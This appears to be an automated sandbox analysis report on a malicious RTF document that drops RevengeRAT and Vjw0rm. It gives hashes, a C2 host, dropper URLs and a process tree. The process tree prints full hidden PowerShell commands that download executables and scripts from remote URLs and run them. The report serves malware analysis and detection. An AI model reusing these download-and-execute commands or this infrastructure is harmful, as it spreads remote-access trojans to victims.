Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    29-07-2024 21:24

General

  • Target

    6122d96e83f0c0dad6d1ed8ab22c60b3_JaffaCakes118.rtf

  • Size

    429KB

  • MD5

    6122d96e83f0c0dad6d1ed8ab22c60b3

  • SHA1

    1c9fb09da9a5673b2c821657d1d50440eac79ed6

  • SHA256

    3fcab0addd17f497cf4a7bd90ca5797520a26d98d8fd87b3df5f539cf8cf41bb

  • SHA512

    943086f85de1d466dffb9e9ce1b4ae4ec18139373a4be92fcbc5e91b3e9edb38fbbcc5b3d9c1522af124870f1db9e750f52b2acc9093c4dde518fc9f2de86560

  • SSDEEP

    3072:qxmwANc/nIwANc/nbwANc/nUwANc/nTwANc/nYwANc/ntwANc/n19F:sA29A2cA2ZA20A2NA2+A2nF

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://storage.googleapis.com/wzukusers/user-34654398/documents/5c8fcdc868cf8Nau4eqD/2019

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://storage.googleapis.com/wzukusers/user-34654398/documents/5c8fc8d91e717XQDt0y4/ServidorFUDIGOR

Extracted

Family

revengerat

Botnet

KEROLYN S2

C2

bozok1.duckdns.org:333

Mutex

RV_MUTEX-iNSnIELecwCkj

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • RevengeRat Executable 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Office loads VBA resources, possible macro or embedded object present
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6122d96e83f0c0dad6d1ed8ab22c60b3_JaffaCakes118.rtf"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2852
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c taskkill /f /im excel.exe & taskkill /f /im winword.exe & ping -n 3 localhost & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://storage.googleapis.com/wzukusers/user-34654398/documents/5c8fc8d91e717XQDt0y4/ServidorFUDIGOR','%TEMP%\taskgen.exe');Start-Process '%TEMP%\taskgen.exe'
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im excel.exe
          3⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2632
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im winword.exe
          3⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1996
        • C:\Windows\SysWOW64\PING.EXE
          ping -n 3 localhost
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://storage.googleapis.com/wzukusers/user-34654398/documents/5c8fc8d91e717XQDt0y4/ServidorFUDIGOR','C:\Users\Admin\AppData\Local\Temp\taskgen.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\taskgen.exe'
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2008
          • C:\Users\Admin\AppData\Local\Temp\taskgen.exe
            "C:\Users\Admin\AppData\Local\Temp\taskgen.exe"
            4⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2184
            • C:\Users\Admin\AppData\Roaming\System32.exe
              "C:\Users\Admin\AppData\Roaming\System32.exe"
              5⤵
              • Executes dropped EXE
              • Checks processor information in registry
              • Suspicious use of AdjustPrivilegeToken
              PID:2784
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c taskkill /f /im excel.exe & taskkill /f /im winword.exe & ping -n 3 localhost & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://storage.googleapis.com/wzukusers/user-34654398/documents/5c8fcdc868cf8Nau4eqD/2019','%PUBLIC%\.js');Start-Process '%PUBLIC%\.js'
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im excel.exe
          3⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2652
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im winword.exe
          3⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1036
        • C:\Windows\SysWOW64\PING.EXE
          ping -n 3 localhost
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1980
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://storage.googleapis.com/wzukusers/user-34654398/documents/5c8fcdc868cf8Nau4eqD/2019','C:\Users\Public\.js');Start-Process 'C:\Users\Public\.js'
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1704
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\.js"
            4⤵
            • Drops startup file
            • System Location Discovery: System Language Discovery
            PID:2260
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      PID:2416
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Enumerates system info in registry
      • Suspicious use of SetWindowsHookEx
      PID:1664

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      ad4b7204cf5918b0eef7d34e23f17439

      SHA1

      44544f940705b9a63d9a0b877728e5ef1181f74d

      SHA256

      4e712c55b7dbad761df921ffaa14e9a160ddeea2c6e07e3cbbfee73b8bab43a0

      SHA512

      840ba22d7f8e4ded19d5880464dff59b51b2d6b2a519f0c24c7b479f5316e1e2ed856136bb7fb1f0f2dcd7274b2111c1001bea4d45308d431cab3dd638374933

    • C:\Users\Public\.js

      Filesize

      9KB

      MD5

      a9a9d84ef5f6c850be17e5c3ace9e324

      SHA1

      b91bae1c10f8340e89c6a795f3fc389cba4ef336

      SHA256

      b2ce5348dc6f2d43013ff0c5776070ad920eb5ce4a0ad2587deda6b50f31b6ab

      SHA512

      f4eea6e32c0ab50fa052c18548a72272c19d71eebd42a2d5fc634ba5cf325fd20ee717f43d228cff6f3bd5a6ad6c5bde34925c6252a0d8e3869ae1bf101c25ae

    • \Users\Admin\AppData\Local\Temp\taskgen.exe

      Filesize

      361KB

      MD5

      694088b55e8ccd704bd01ce37123d577

      SHA1

      c256d312404df3aef089d957a44e48030decc139

      SHA256

      0869024a8e1c8d1c12ecedccf9e32ae4702436859c1befa1507075e97362ec6f

      SHA512

      4f458f607472a232b04eb20356ac2bde275c208823aea5b54688bd74dde6c85c6fae735f1fe254b3ae114120bca383124f93fcd7d33be6cace4486158eca4ed0

    • memory/2092-0-0x000000002FB11000-0x000000002FB12000-memory.dmp

      Filesize

      4KB

    • memory/2092-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2092-2-0x0000000070A9D000-0x0000000070AA8000-memory.dmp

      Filesize

      44KB

    • memory/2092-15-0x0000000070A9D000-0x0000000070AA8000-memory.dmp

      Filesize

      44KB

    • memory/2184-35-0x0000000000280000-0x0000000000288000-memory.dmp

      Filesize

      32KB

    • memory/2732-7-0x0000000070A9D000-0x0000000070AA8000-memory.dmp

      Filesize

      44KB

    • memory/2732-10-0x0000000006500000-0x0000000006600000-memory.dmp

      Filesize

      1024KB

    • memory/2732-12-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2732-13-0x0000000070A9D000-0x0000000070AA8000-memory.dmp

      Filesize

      44KB